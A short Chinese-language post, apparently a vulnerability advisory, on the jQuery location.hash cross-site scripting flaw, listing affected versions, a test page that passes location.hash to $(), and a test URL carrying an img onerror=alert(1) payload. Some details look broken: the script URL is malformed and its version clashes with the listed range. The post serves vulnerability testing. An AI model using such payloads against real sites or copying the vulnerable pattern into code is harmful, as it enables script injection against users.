原理:

    jQuery中过滤用户输入数据所使用的正则表达式存在缺陷,可能导致 location.hash 跨站漏洞

影响版本:

  •     jquery-1.7.1~1.8.3
  •     jquery-1.6.min.js,jquery-1.6.1.min.js,jquery-1.6.2.min.js
  •     jquery-1.5所有版本
  •     jquery-1.4所有版本
  •     jquery-1.3所有版本
  •     jquery-1.2所有版本

测试代码:

<html>
<head>
    <title>JQuery-xss-test</title>
    <script  src="https://code.jquery/jquery-1.0.1.js" ></script>
    <script>
    $(function(){
    try { $(location.hash) } 
    catch(e) {}
    })
    </script>
</head>
<body>
    Jquery xss test.
</body>
</html>

然后访问如下:http://localhost/#<img src=/ οnerrοr=alert(1)>

在线测试平台:JQuery跨站脚本在线测试

更多推荐

JQuery跨站脚本漏洞